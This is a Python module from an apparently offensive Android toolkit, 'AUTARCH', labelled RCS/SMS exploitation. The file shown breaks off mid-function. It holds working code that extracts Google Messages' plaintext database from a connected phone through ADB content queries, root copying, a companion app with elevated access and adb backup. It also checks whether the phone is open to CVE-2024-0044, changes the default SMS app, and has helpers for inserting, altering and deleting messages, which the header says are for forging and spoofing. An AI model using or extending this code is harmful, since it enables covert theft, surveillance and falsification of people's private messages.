sssnake/Autarch
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Autarch/modules/rcs_tools.py

1970 lines
88 KiB
Python
Raw Normal View History

v2.3.0 — RCS exploit v2.0, Starlink hack, SMS forge, Archon RCS module Major RCS/SMS exploitation rewrite (v2.0): - bugle_db direct extraction (plaintext messages, no decryption needed) - CVE-2024-0044 run-as privilege escalation (Android 12-13) - AOSP RCS provider queries (content://rcs/) - Archon app relay for Shizuku-elevated bugle_db access - 7-tab web UI: Extract, Database, Forge, Modify, Exploit, Backup, Monitor - SQL query interface for extracted databases - Full backup/restore/clone with SMS Backup & Restore XML support - Known CVE database (CVE-2023-24033, CVE-2024-49415, CVE-2025-48593) - IMS/RCS diagnostics, Phenotype verbose logging, Pixel tools New modules: Starlink hack, SMS forge, SDR drone detection Archon Android app: RCS messaging module with Shizuku integration Updated manuals to v2.3, 60 web blueprints confirmed Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-03 13:50:29 -08:00
"""AUTARCH RCS/SMS Exploitation v2.0
Comprehensive RCS/SMS message extraction, forging, modification, and exploitation
on connected Android devices via ADB content provider commands, Shizuku shell
access, CVE-2024-0044 privilege escalation, AOSP RCS provider queries, and
Archon app integration.
All operations execute on the target phone — nothing runs locally except
command dispatch and output parsing. Messages in bugle_db are stored as
PLAINTEXT after E2EE decryption, so no key extraction is needed for reading.
Exploitation paths (in order of preference):
1. Content providers (UID 2000 / shell — no root needed)
2. Archon app relay (READ_SMS + Shizuku → bugle_db access)
3. CVE-2024-0044 (Android 12-13 pre-Oct 2024 — full app-UID access)
4. ADB backup (deprecated on Android 12+ but works on some devices)
5. Root (if available)
"""
DESCRIPTION = "RCS/SMS Exploitation — Database extraction, forging, backup & spoofing"
AUTHOR = "AUTARCH"
VERSION = "2.0"
CATEGORY = "offense"
import os
import re
import csv
import json
import time
import shlex
import struct
import sqlite3
import subprocess
import threading
import zlib
from io import StringIO
from pathlib import Path
from datetime import datetime, timezone, timedelta
from typing import Dict, List, Optional, Any, Tuple
from xml.etree import ElementTree as ET
try:
from core.paths import find_tool, get_data_dir
except ImportError:
import shutil as _sh
def find_tool(name):
return _sh.which(name)
def get_data_dir():
return Path(__file__).resolve().parent.parent / 'data'
# ── Module-level singleton ──────────────────────────────────────────────────
_instance: Optional['RCSTools'] = None
def get_rcs_tools() -> 'RCSTools':
global _instance
if _instance is None:
_instance = RCSTools()
return _instance
# ── Constants ────────────────────────────────────────────────────────────────
# Standard Android telephony content providers (accessible at UID 2000)
SMS_URI = 'content://sms/'
SMS_INBOX_URI = 'content://sms/inbox'
SMS_SENT_URI = 'content://sms/sent'
SMS_DRAFT_URI = 'content://sms/draft'
SMS_OUTBOX_URI = 'content://sms/outbox'
MMS_URI = 'content://mms/'
MMS_INBOX_URI = 'content://mms/inbox'
MMS_SENT_URI = 'content://mms/sent'
MMS_PART_URI = 'content://mms/part'
MMS_SMS_CONVERSATIONS_URI = 'content://mms-sms/conversations'
MMS_SMS_DRAFT_URI = 'content://mms-sms/draft'
MMS_SMS_UNDELIVERED_URI = 'content://mms-sms/undelivered'
MMS_SMS_LOCKED_URI = 'content://mms-sms/locked'
# AOSP RCS content provider (authority: "rcs")
RCS_THREAD_URI = 'content://rcs/thread'
RCS_P2P_THREAD_URI = 'content://rcs/p2p_thread'
RCS_GROUP_THREAD_URI = 'content://rcs/group_thread'
RCS_PARTICIPANT_URI = 'content://rcs/participant'
RCS_MESSAGE_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/message'
RCS_FILE_TRANSFER_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/file_transfer'
RCS_INCOMING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/incoming_message'
RCS_OUTGOING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/outgoing_message'
# Google Messages proprietary providers (may require elevated access)
GMSGS_PROVIDER = 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider'
# All known RCS-related content provider URIs to enumerate
ALL_RCS_URIS = [
'content://rcs/thread',
'content://rcs/p2p_thread',
'content://rcs/group_thread',
'content://rcs/participant',
'content://im/messages/',
'content://com.google.android.apps.messaging/messages',
'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider',
'content://com.google.android.ims.provider/',
'content://com.google.android.gms.ims.provider/',
'content://com.google.android.rcs.provider/',
'content://com.samsung.android.messaging/',
'content://com.samsung.rcs.autoconfigurationprovider/root/*',
]
# SMS type codes (android.provider.Telephony.Sms constants)
MSG_TYPE_ALL = 0
MSG_TYPE_INBOX = 1 # received
MSG_TYPE_SENT = 2 # sent
MSG_TYPE_DRAFT = 3
MSG_TYPE_OUTBOX = 4
MSG_TYPE_FAILED = 5
MSG_TYPE_QUEUED = 6
# MMS message box codes
MMS_BOX_INBOX = 1
MMS_BOX_SENT = 2
MMS_BOX_DRAFT = 3
MMS_BOX_OUTBOX = 4
# bugle_db message_protocol values
PROTOCOL_SMS = 0
PROTOCOL_MMS = 1
PROTOCOL_RCS = 2 # Google proprietary — values >= 2 indicate RCS
# bugle_db paths on device
BUGLE_DB_PATHS = [
'/data/data/com.google.android.apps.messaging/databases/bugle_db',
'/data/user/0/com.google.android.apps.messaging/databases/bugle_db',
'/data/data/com.android.messaging/databases/bugle_db',
]
# Telephony provider database
MMSSMS_DB_PATHS = [
'/data/data/com.android.providers.telephony/databases/mmssms.db',
'/data/user_de/0/com.android.providers.telephony/databases/mmssms.db',
]
# Samsung messaging databases
SAMSUNG_DB_PATHS = [
'/data/data/com.samsung.android.messaging/databases/',
'/data/data/com.sec.android.provider.logsprovider/databases/logs.db',
]
# Known messaging packages
MESSAGING_PACKAGES = [
'com.google.android.apps.messaging', # Google Messages
'com.android.messaging', # AOSP Messages
'com.samsung.android.messaging', # Samsung Messages
'com.verizon.messaging.vzmsgs', # Verizon Message+
]
# Column projections
SMS_COLUMNS = '_id:thread_id:address:body:date:date_sent:type:read:status:protocol:service_center:person:subject:locked:seen'
MMS_COLUMNS = '_id:thread_id:date:msg_box:sub:sub_cs:ct_l:exp:m_type:read:seen:st'
MMS_PART_COLUMNS = '_id:mid:ct:text:_data:name'
# Known CVEs affecting RCS/Android messaging
RCS_CVES = {
'CVE-2023-24033': {
'severity': 'critical', 'cvss': 9.8,
'desc': 'Samsung Exynos baseband RCE via RCS SDP accept-type parsing',
'affected': 'Exynos 5123, 5300, 980, 1080, Auto T5123',
'type': 'zero-click', 'discoverer': 'Google Project Zero',
'mitigation': 'Disable Wi-Fi calling and VoLTE; apply March 2023 patches',
},
'CVE-2024-0044': {
'severity': 'high', 'cvss': 7.8,
'desc': 'Android run-as privilege escalation via newline injection in PackageInstallerService',
'affected': 'Android 12-13 pre-October 2024 security patch',
'type': 'local', 'discoverer': 'Meta Red Team X',
'mitigation': 'Apply October 2024 security patch',
'exploit_available': True,
},
'CVE-2024-31317': {
'severity': 'high', 'cvss': 7.8,
'desc': 'Android system_server run-as bypass via command injection',
'affected': 'Android 12-14 pre-QPR2',
'type': 'local', 'discoverer': 'Meta Red Team X',
'mitigation': 'Apply June 2024 security patch',
},
'CVE-2024-49415': {
'severity': 'high', 'cvss': 8.1,
'desc': 'Samsung libsaped.so zero-click RCE via RCS audio message (OOB write in APE decoder)',
'affected': 'Samsung Galaxy S23/S24 Android 12-14 pre-December 2024',
'type': 'zero-click', 'discoverer': 'Natalie Silvanovich (Project Zero)',
'mitigation': 'Apply December 2024 Samsung security patch',
},
'CVE-2025-48593': {
'severity': 'critical', 'cvss': 9.8,
'desc': 'Android System component zero-click RCE',
'affected': 'Android 13, 14, 15, 16',
'type': 'zero-click', 'discoverer': 'Android Security Team',
'mitigation': 'Apply November 2025 security patch',
},
'CVE-2017-0780': {
'severity': 'medium', 'cvss': 5.5,
'desc': 'Android Messages crash via crafted message (DoS)',
'affected': 'Android 4.4-8.0',
'type': 'remote', 'discoverer': 'Trend Micro',
'mitigation': 'Update to patched Android version',
},
}
# Phenotype flags for Google Messages debug/verbose logging
PHENOTYPE_FLAGS = {
'verbose_bug_reports': 'bugle_phenotype__enable_verbose_bug_reports',
'rcs_diagnostics': 'bugle_phenotype__enable_rcs_diagnostics',
'debug_mode': 'bugle_phenotype__enable_debug_mode',
}
# Enterprise archival broadcast
ARCHIVAL_BROADCAST_ACTION = 'GOOGLE_MESSAGES_ARCHIVAL_UPDATE'
ARCHIVAL_URI_EXTRA = 'com.google.android.apps.messaging.EXTRA_ARCHIVAL_URI'
# ── RCSTools Class ───────────────────────────────────────────────────────────
class RCSTools:
"""Comprehensive RCS/SMS exploitation via ADB."""
def __init__(self):
self._adb_path: Optional[str] = None
self._data_dir: Path = Path(get_data_dir()) / 'rcs_tools'
self._data_dir.mkdir(parents=True, exist_ok=True)
self._backups_dir: Path = self._data_dir / 'backups'
self._backups_dir.mkdir(parents=True, exist_ok=True)
self._exports_dir: Path = self._data_dir / 'exports'
self._exports_dir.mkdir(parents=True, exist_ok=True)
self._extracted_dir: Path = self._data_dir / 'extracted_dbs'
self._extracted_dir.mkdir(parents=True, exist_ok=True)
self._monitor_thread: Optional[threading.Thread] = None
self._monitor_running = False
self._intercepted: List[Dict[str, Any]] = []
self._intercepted_lock = threading.Lock()
self._forged_log: List[Dict[str, Any]] = []
self._cve_exploit_active = False
self._exploit_victim_name: Optional[str] = None
# ══════════════════════════════════════════════════════════════════════
# §1 ADB HELPERS
# ══════════════════════════════════════════════════════════════════════
def _get_adb(self) -> str:
if self._adb_path is None:
self._adb_path = find_tool('adb')
if not self._adb_path:
raise RuntimeError('adb not found')
return self._adb_path
def _run_adb(self, command: str, timeout: int = 30) -> str:
adb = self._get_adb()
full_cmd = f'{adb} {command}'
try:
result = subprocess.run(
full_cmd, shell=True, capture_output=True, text=True, timeout=timeout,
)
if result.returncode != 0 and result.stderr.strip():
return f'[adb error] {result.stderr.strip()}'
return result.stdout.strip()
except subprocess.TimeoutExpired:
return f'[adb error] Command timed out after {timeout}s'
except Exception as e:
return f'[adb error] {e}'
def _run_adb_binary(self, command: str, timeout: int = 60) -> Optional[bytes]:
adb = self._get_adb()
full_cmd = f'{adb} {command}'
try:
result = subprocess.run(
full_cmd, shell=True, capture_output=True, timeout=timeout,
)
if result.returncode != 0:
return None
return result.stdout
except Exception:
return None
def _run_shizuku(self, command: str, timeout: int = 30) -> str:
escaped = command.replace("'", "'\\''")
return self._run_adb(f"shell sh -c '{escaped}'", timeout=timeout)
def _shell(self, command: str, timeout: int = 30) -> str:
return self._run_adb(f'shell {command}', timeout=timeout)
def _content_query(self, uri: str, projection: str = '', where: str = '',
sort: str = '', limit: int = 0) -> List[Dict[str, str]]:
cmd = f'shell content query --uri {uri}'
if projection:
cmd += f' --projection {projection}'
if where:
cmd += f' --where "{where}"'
if sort:
cmd += f' --sort "{sort}"'
output = self._run_adb(cmd, timeout=30)
rows = self._parse_content_query(output)
if limit > 0:
rows = rows[:limit]
return rows
def _content_insert(self, uri: str, bindings: Dict[str, Any]) -> str:
cmd = f'shell content insert --uri {uri}'
for key, val in bindings.items():
if val is None:
cmd += f' --bind {key}:s:NULL'
elif isinstance(val, int):
cmd += f' --bind {key}:i:{val}'
elif isinstance(val, float):
cmd += f' --bind {key}:f:{val}'
else:
safe = str(val).replace("'", "'\\''")
cmd += f" --bind {key}:s:'{safe}'"
return self._run_adb(cmd)
def _content_update(self, uri: str, bindings: Dict[str, Any], where: str = '') -> str:
cmd = f'shell content update --uri {uri}'
for key, val in bindings.items():
if val is None:
cmd += f' --bind {key}:s:NULL'
elif isinstance(val, int):
cmd += f' --bind {key}:i:{val}'
else:
safe = str(val).replace("'", "'\\''")
cmd += f" --bind {key}:s:'{safe}'"
if where:
cmd += f' --where "{where}"'
return self._run_adb(cmd)
def _content_delete(self, uri: str, where: str = '') -> str:
cmd = f'shell content delete --uri {uri}'
if where:
cmd += f' --where "{where}"'
return self._run_adb(cmd)
def _parse_content_query(self, output: str) -> List[Dict[str, str]]:
rows = []
if not output or output.startswith('[adb error]'):
return rows
for line in output.splitlines():
line = line.strip()
if not line.startswith('Row:'):
continue
match = re.match(r'Row:\s*\d+\s+(.*)', line)
if not match:
continue
payload = match.group(1)
row = {}
parts = re.split(r',\s+(?=[a-zA-Z_]+=)', payload)
for part in parts:
eq_pos = part.find('=')
if eq_pos == -1:
continue
key = part[:eq_pos].strip()
val = part[eq_pos + 1:].strip()
if val == 'NULL':
val = None
row[key] = val
if row:
rows.append(row)
return rows
def _is_error(self, output: str) -> bool:
return output.startswith('[adb error]') if output else True
def _ts_ms(self, dt: Optional[datetime] = None) -> int:
if dt is None:
dt = datetime.now(timezone.utc)
return int(dt.timestamp() * 1000)
def _format_ts(self, ts_ms) -> str:
try:
ts = int(ts_ms) / 1000
return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')
except (ValueError, TypeError, OSError):
return str(ts_ms)
# ══════════════════════════════════════════════════════════════════════
# §2 DEVICE CONNECTION & STATUS
# ══════════════════════════════════════════════════════════════════════
def get_connected_device(self) -> Dict[str, Any]:
output = self._run_adb('devices')
devices = []
for line in output.splitlines():
line = line.strip()
if line and not line.startswith('List') and not line.startswith('*'):
parts = line.split('\t')
if len(parts) >= 2:
devices.append({'serial': parts[0], 'state': parts[1]})
if not devices:
return {'connected': False, 'error': 'No devices connected'}
for d in devices:
if d['state'] == 'device':
return {'connected': True, 'serial': d['serial'], 'state': 'device'}
return {'connected': False, 'error': f'Device state: {devices[0]["state"]}'}
def get_device_info(self) -> Dict[str, Any]:
dev = self.get_connected_device()
if not dev.get('connected'):
return dev
info = {
'connected': True,
'serial': dev['serial'],
'model': self._shell('getprop ro.product.model'),
'manufacturer': self._shell('getprop ro.product.manufacturer'),
'android_version': self._shell('getprop ro.build.version.release'),
'sdk_version': self._shell('getprop ro.build.version.sdk'),
'security_patch': self._shell('getprop ro.build.version.security_patch'),
'build_id': self._shell('getprop ro.build.display.id'),
'brand': self._shell('getprop ro.product.brand'),
'device': self._shell('getprop ro.product.device'),
'is_pixel': 'pixel' in self._shell('getprop ro.product.brand').lower()
or 'google' in self._shell('getprop ro.product.manufacturer').lower(),
'is_samsung': 'samsung' in self._shell('getprop ro.product.manufacturer').lower(),
}
# Check default SMS app
sms_app = self._shell('settings get secure sms_default_application')
info['default_sms_app'] = sms_app if not self._is_error(sms_app) else 'unknown'
return info
def get_status(self) -> Dict[str, Any]:
dev = self.get_device_info()
if not dev.get('connected'):
return {'ok': False, 'connected': False, 'error': dev.get('error', 'Not connected')}
# Check Shizuku
shizuku = self.check_shizuku_status()
# Check Archon
archon = self.check_archon_installed()
# Check CVE vulnerability
cve_status = self.check_cve_2024_0044()
return {
'ok': True,
'connected': True,
'device': dev,
'shizuku': shizuku,
'archon': archon,
'cve_2024_0044': cve_status,
'exploit_active': self._cve_exploit_active,
'monitor_running': self._monitor_running,
'intercepted_count': len(self._intercepted),
'forged_count': len(self._forged_log),
}
def check_shizuku_status(self) -> Dict[str, Any]:
# Check if Shizuku is installed
pm_output = self._shell('pm list packages moe.shizuku.privileged.api')
installed = 'moe.shizuku.privileged.api' in pm_output if not self._is_error(pm_output) else False
if not installed:
pm_output = self._shell('pm list packages rikka.shizuku')
installed = 'rikka.shizuku' in pm_output if not self._is_error(pm_output) else False
# Check if Shizuku service is running
running = False
if installed:
ps_out = self._shell('ps -A | grep shizuku')
running = bool(ps_out and not self._is_error(ps_out) and 'shizuku' in ps_out.lower())
return {'installed': installed, 'running': running, 'uid': 2000 if running else None}
def check_archon_installed(self) -> Dict[str, Any]:
pm_output = self._shell('pm list packages com.darkhal.archon')
installed = 'com.darkhal.archon' in pm_output if not self._is_error(pm_output) else False
result = {'installed': installed}
if installed:
# Check version
dump = self._shell('dumpsys package com.darkhal.archon | grep versionName')
if dump and not self._is_error(dump):
m = re.search(r'versionName=(\S+)', dump)
if m:
result['version'] = m.group(1)
# Check if Archon has messaging/RCS permissions
perms = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_SMS"')
result['has_sms_permission'] = 'granted=true' in perms if perms else False
perms2 = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_CONTACTS"')
result['has_contacts_permission'] = 'granted=true' in perms2 if perms2 else False
return result
def get_security_patch_level(self) -> Dict[str, Any]:
patch = self._shell('getprop ro.build.version.security_patch')
android_ver = self._shell('getprop ro.build.version.release')
sdk = self._shell('getprop ro.build.version.sdk')
result = {
'security_patch': patch,
'android_version': android_ver,
'sdk_version': sdk,
}
# Check if CVE-2024-0044 is exploitable
try:
sdk_int = int(sdk)
if sdk_int in (31, 32, 33): # Android 12, 12L, 13
if patch and patch < '2024-10-01':
result['cve_2024_0044_vulnerable'] = True
else:
result['cve_2024_0044_vulnerable'] = False
else:
result['cve_2024_0044_vulnerable'] = False
except (ValueError, TypeError):
result['cve_2024_0044_vulnerable'] = False
return result
def get_default_sms_app(self) -> Dict[str, Any]:
app = self._shell('settings get secure sms_default_application')
if self._is_error(app):
return {'ok': False, 'error': app}
return {'ok': True, 'package': app}
def set_default_sms_app(self, package: str) -> Dict[str, Any]:
# Verify package exists
pm = self._shell(f'pm list packages {shlex.quote(package)}')
if package not in pm:
return {'ok': False, 'error': f'Package {package} not found'}
result = self._shell(f'settings put secure sms_default_application {shlex.quote(package)}')
if self._is_error(result) and result:
return {'ok': False, 'error': result}
return {'ok': True, 'message': f'Default SMS app set to {package}'}
# ══════════════════════════════════════════════════════════════════════
# §3 IMS/RCS DIAGNOSTICS
# ══════════════════════════════════════════════════════════════════════
def get_ims_status(self) -> Dict[str, Any]:
output = self._shell('dumpsys telephony_ims')
if self._is_error(output):
# Try alternate service name
output = self._shell('dumpsys telephony.registry')
if self._is_error(output):
return {'ok': False, 'error': 'Cannot query IMS status'}
lines = output.splitlines()
result = {'ok': True, 'raw': output[:5000]}
for line in lines:
line_l = line.strip().lower()
if 'registered' in line_l and 'ims' in line_l:
result['ims_registered'] = 'true' in line_l or 'yes' in line_l
if 'rcs' in line_l and ('enabled' in line_l or 'connected' in line_l):
result['rcs_enabled'] = True
if 'volte' in line_l and 'enabled' in line_l:
result['volte_enabled'] = True
return result
def get_carrier_config(self) -> Dict[str, Any]:
output = self._shell('dumpsys carrier_config')
if self._is_error(output):
return {'ok': False, 'error': output}
rcs_keys = {}
for line in output.splitlines():
line = line.strip()
if any(k in line.lower() for k in ['rcs', 'ims', 'uce', 'presence', 'single_registration']):
if '=' in line:
key, _, val = line.partition('=')
rcs_keys[key.strip()] = val.strip()
return {'ok': True, 'rcs_config': rcs_keys, 'raw_length': len(output)}
def get_rcs_registration_state(self) -> Dict[str, Any]:
# Check Google Messages RCS state via dumpsys
output = self._shell('dumpsys activity service com.google.android.apps.messaging')
rcs_state = 'unknown'
if output and not self._is_error(output):
for line in output.splitlines():
if 'rcs' in line.lower() and ('state' in line.lower() or 'connected' in line.lower()):
rcs_state = line.strip()
break
# Also try carrier_services
cs_output = self._shell('dumpsys activity service com.google.android.ims')
cs_state = 'unknown'
if cs_output and not self._is_error(cs_output):
for line in cs_output.splitlines():
if 'provisioned' in line.lower() or 'registered' in line.lower():
cs_state = line.strip()
break
return {
'ok': True,
'messages_rcs_state': rcs_state,
'carrier_services_state': cs_state,
}
def enable_verbose_logging(self) -> Dict[str, Any]:
results = {}
# Set Phenotype flag for verbose bug reports (no root needed)
for name, flag in PHENOTYPE_FLAGS.items():
cmd = (
f'shell am broadcast '
f"-a 'com.google.android.gms.phenotype.FLAG_OVERRIDE' "
f'--es package "com.google.android.apps.messaging#com.google.android.apps.messaging" '
f'--es user "\\*" '
f'--esa flags "{flag}" '
f'--esa values "true" '
f'--esa types "boolean" '
f'com.google.android.gms'
)
out = self._run_adb(cmd)
results[name] = 'success' if 'Broadcast completed' in out else out
# Try setting log tags (may require root)
log_tags = ['Bugle', 'BugleDataModel', 'BugleRcs', 'BugleRcsEngine',
'RcsProvisioning', 'CarrierServices', 'BugleTransport']
for tag in log_tags:
self._shell(f'setprop log.tag.{tag} VERBOSE')
results['log_tags'] = 'attempted (may require root)'
return {'ok': True, 'results': results}
def capture_rcs_logs(self, duration: int = 10) -> Dict[str, Any]:
# Clear logcat first
self._shell('logcat -c')
# Capture filtered logs
tags = 'Bugle:V BugleRcs:V RcsProvisioning:V CarrierServices:V BugleRcsEngine:V *:S'
output = self._run_adb(f'shell logcat -d -s {tags}', timeout=duration + 5)
if self._is_error(output):
return {'ok': False, 'error': output}
lines = output.splitlines()
return {'ok': True, 'lines': lines[:500], 'total_lines': len(lines)}
# ══════════════════════════════════════════════════════════════════════
# §4 CONTENT PROVIDER EXTRACTION (no root needed)
# ══════════════════════════════════════════════════════════════════════
def read_sms_database(self, limit: int = 200) -> List[Dict[str, Any]]:
rows = self._content_query(SMS_URI, projection=SMS_COLUMNS, limit=limit)
for row in rows:
if row.get('date'):
row['date_formatted'] = self._format_ts(row['date'])
row['protocol_name'] = 'SMS'
msg_type = int(row.get('type', 0))
row['direction'] = 'incoming' if msg_type == MSG_TYPE_INBOX else 'outgoing'
return rows
def read_sms_inbox(self, limit: int = 100) -> List[Dict[str, Any]]:
return self._content_query(SMS_INBOX_URI, projection=SMS_COLUMNS, limit=limit)
def read_sms_sent(self, limit: int = 100) -> List[Dict[str, Any]]:
return self._content_query(SMS_SENT_URI, projection=SMS_COLUMNS, limit=limit)
def read_mms_database(self, limit: int = 100) -> List[Dict[str, Any]]:
rows = self._content_query(MMS_URI, projection=MMS_COLUMNS, limit=limit)
# Enrich with parts (body text)
for row in rows:
mms_id = row.get('_id')
if mms_id:
parts = self._content_query(
f'content://mms/{mms_id}/part',
projection=MMS_PART_COLUMNS,
)
row['parts'] = parts
# Extract text body from parts
for p in parts:
if p.get('ct') == 'text/plain' and p.get('text'):
row['body'] = p['text']
break
if row.get('date'):
row['date_formatted'] = self._format_ts(int(row['date']) * 1000)
return rows
def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]:
rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit)
return rows
def read_draft_messages(self) -> List[Dict[str, Any]]:
return self._content_query(MMS_SMS_DRAFT_URI)
def read_undelivered_messages(self) -> List[Dict[str, Any]]:
return self._content_query(MMS_SMS_UNDELIVERED_URI)
def read_locked_messages(self) -> List[Dict[str, Any]]:
return self._content_query(MMS_SMS_LOCKED_URI)
def read_rcs_provider(self) -> Dict[str, Any]:
"""Query the AOSP RCS content provider (content://rcs/)."""
results = {}
# Threads
threads = self._content_query(RCS_THREAD_URI)
results['threads'] = threads
results['thread_count'] = len(threads)
# P2P threads
p2p = self._content_query(RCS_P2P_THREAD_URI)
results['p2p_threads'] = p2p
# Group threads
groups = self._content_query(RCS_GROUP_THREAD_URI)
results['group_threads'] = groups
# Participants
participants = self._content_query(RCS_PARTICIPANT_URI)
results['participants'] = participants
results['ok'] = True
return results
def read_rcs_messages(self, thread_id: Optional[int] = None) -> List[Dict[str, Any]]:
"""Read RCS messages from AOSP RCS provider."""
if thread_id:
uri = RCS_MESSAGE_URI_FMT.format(thread_id=thread_id)
else:
# Try querying all threads and getting messages from each
threads = self._content_query(RCS_THREAD_URI)
all_msgs = []
for t in threads:
tid = t.get('rcs_thread_id')
if tid:
msgs = self._content_query(
RCS_MESSAGE_URI_FMT.format(thread_id=tid)
)
for m in msgs:
m['thread_id'] = tid
all_msgs.extend(msgs)
return all_msgs
return self._content_query(uri)
def read_rcs_participants(self) -> List[Dict[str, Any]]:
return self._content_query(RCS_PARTICIPANT_URI)
def read_rcs_file_transfers(self, thread_id: int) -> List[Dict[str, Any]]:
uri = RCS_FILE_TRANSFER_URI_FMT.format(thread_id=thread_id)
return self._content_query(uri)
def get_thread_messages(self, thread_id: int, limit: int = 200) -> List[Dict[str, Any]]:
rows = self._content_query(
SMS_URI, projection=SMS_COLUMNS,
where=f'thread_id={thread_id}',
limit=limit,
)
for row in rows:
if row.get('date'):
row['date_formatted'] = self._format_ts(row['date'])
return rows
def get_messages_by_address(self, address: str, limit: int = 200) -> List[Dict[str, Any]]:
safe_addr = address.replace("'", "''")
rows = self._content_query(
SMS_URI, projection=SMS_COLUMNS,
where=f"address='{safe_addr}'",
limit=limit,
)
for row in rows:
if row.get('date'):
row['date_formatted'] = self._format_ts(row['date'])
return rows
def search_messages(self, keyword: str, limit: int = 100) -> List[Dict[str, Any]]:
safe_kw = keyword.replace("'", "''").replace('%', '\\%')
rows = self._content_query(
SMS_URI, projection=SMS_COLUMNS,
where=f"body LIKE '%{safe_kw}%'",
limit=limit,
)
for row in rows:
if row.get('date'):
row['date_formatted'] = self._format_ts(row['date'])
return rows
def enumerate_providers(self) -> Dict[str, Any]:
"""Scan all known messaging content providers and report which are accessible."""
accessible = []
blocked = []
for uri in ALL_RCS_URIS:
out = self._run_adb(f'shell content query --uri {uri}', timeout=5)
if self._is_error(out) or 'Permission Denial' in out or 'SecurityException' in out:
blocked.append({'uri': uri, 'error': out[:200] if out else 'no response'})
elif 'No result found' in out:
accessible.append({'uri': uri, 'status': 'accessible', 'rows': 0})
else:
row_count = out.count('Row:')
accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count})
# Also check standard SMS/MMS
for uri_name, uri in [('SMS', SMS_URI), ('MMS', MMS_URI), ('Conversations', MMS_SMS_CONVERSATIONS_URI)]:
out = self._run_adb(f'shell content query --uri {uri}', timeout=5)
if not self._is_error(out) and 'Permission' not in out:
row_count = out.count('Row:')
accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count, 'name': uri_name})
return {
'ok': True,
'accessible': accessible,
'blocked': blocked,
'total_accessible': len(accessible),
'total_blocked': len(blocked),
}
# ══════════════════════════════════════════════════════════════════════
# §5 BUGLE_DB DIRECT EXTRACTION
# ══════════════════════════════════════════════════════════════════════
def extract_bugle_db(self) -> Dict[str, Any]:
"""Extract Google Messages bugle_db using best available method.
Messages are stored as PLAINTEXT in bugle_db — no decryption needed.
The WAL file (bugle_db-wal) may contain recent messages not yet
checkpointed to the main database, so we always capture it.
"""
dev = self.get_connected_device()
if not dev.get('connected'):
return {'ok': False, 'error': 'No device connected'}
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
extract_dir = self._extracted_dir / timestamp
extract_dir.mkdir(parents=True, exist_ok=True)
# Method 1: Try Archon app relay (if installed and has permissions)
archon = self.check_archon_installed()
if archon.get('installed') and archon.get('has_sms_permission'):
result = self._extract_via_archon(extract_dir)
if result.get('ok'):
return result
# Method 2: Try CVE-2024-0044 (if vulnerable)
cve = self.check_cve_2024_0044()
if cve.get('vulnerable'):
result = self._extract_via_cve(extract_dir)
if result.get('ok'):
return result
# Method 3: Try root direct pull
root_check = self._shell('id')
if 'uid=0' in root_check:
result = self._extract_via_root(extract_dir)
if result.get('ok'):
return result
# Method 4: Try adb backup
result = self._extract_via_adb_backup(extract_dir)
if result.get('ok'):
return result
# Method 5: Content provider fallback (SMS/MMS only, not full bugle_db)
return {
'ok': False,
'error': 'Cannot extract bugle_db directly. Available methods: '
'(1) Install Archon with SMS permission + Shizuku, '
'(2) Exploit CVE-2024-0044 on Android 12-13, '
'(3) Use root access, '
'(4) Use content provider queries for SMS/MMS only.',
'fallback': 'content_providers',
}
def _extract_via_root(self, extract_dir: Path) -> Dict[str, Any]:
"""Extract bugle_db via root access."""
for db_path in BUGLE_DB_PATHS:
check = self._shell(f'su -c "ls {db_path}" 2>/dev/null')
if not self._is_error(check) and 'No such file' not in check:
# Copy to accessible location
staging = '/data/local/tmp/autarch_extract'
self._shell(f'su -c "mkdir -p {staging}"')
for suffix in ['', '-wal', '-shm', '-journal']:
src = f'{db_path}{suffix}'
self._shell(f'su -c "cp {src} {staging}/ 2>/dev/null"')
self._shell(f'su -c "chmod 644 {staging}/{os.path.basename(src)}"')
# Pull files
files_pulled = []
for suffix in ['', '-wal', '-shm', '-journal']:
fname = f'bugle_db{suffix}'
local_path = str(extract_dir / fname)
pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
if 'bytes' in pull.lower() or os.path.exists(local_path):
files_pulled.append(fname)
# Cleanup
self._shell(f'su -c "rm -rf {staging}"')
if files_pulled:
return {
'ok': True, 'method': 'root',
'files': files_pulled,
'path': str(extract_dir),
'message': f'Extracted {len(files_pulled)} files via root',
}
return {'ok': False, 'error': 'bugle_db not found via root'}
def _extract_via_archon(self, extract_dir: Path) -> Dict[str, Any]:
"""Extract bugle_db via Archon app's Shizuku-elevated access."""
# Ask Archon to copy the database to external storage
broadcast = (
'shell am broadcast -a com.darkhal.archon.EXTRACT_DB '
'--es target_package com.google.android.apps.messaging '
'--es database bugle_db '
'--es output_dir /sdcard/Download/autarch_extract '
'com.darkhal.archon'
)
result = self._run_adb(broadcast)
if 'Broadcast completed' not in result:
return {'ok': False, 'error': 'Archon broadcast failed'}
# Wait for extraction to complete
time.sleep(3)
# Pull files
staging = '/sdcard/Download/autarch_extract'
files_pulled = []
for suffix in ['', '-wal', '-shm']:
fname = f'bugle_db{suffix}'
local_path = str(extract_dir / fname)
pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
if 'bytes' in pull.lower() or os.path.exists(local_path):
files_pulled.append(fname)
# Cleanup staging
self._shell(f'rm -rf {staging}')
if files_pulled:
return {
'ok': True, 'method': 'archon',
'files': files_pulled, 'path': str(extract_dir),
'message': f'Extracted {len(files_pulled)} files via Archon relay',
}
return {'ok': False, 'error': 'Archon extraction produced no files'}
def _extract_via_adb_backup(self, extract_dir: Path) -> Dict[str, Any]:
"""Extract via adb backup (deprecated on Android 12+ but may work)."""
backup_file = str(extract_dir / 'messaging.ab')
# Try backing up Google Messages
result = self._run_adb(
f'backup -nocompress com.google.android.apps.messaging',
timeout=60,
)
# Also try telephony provider
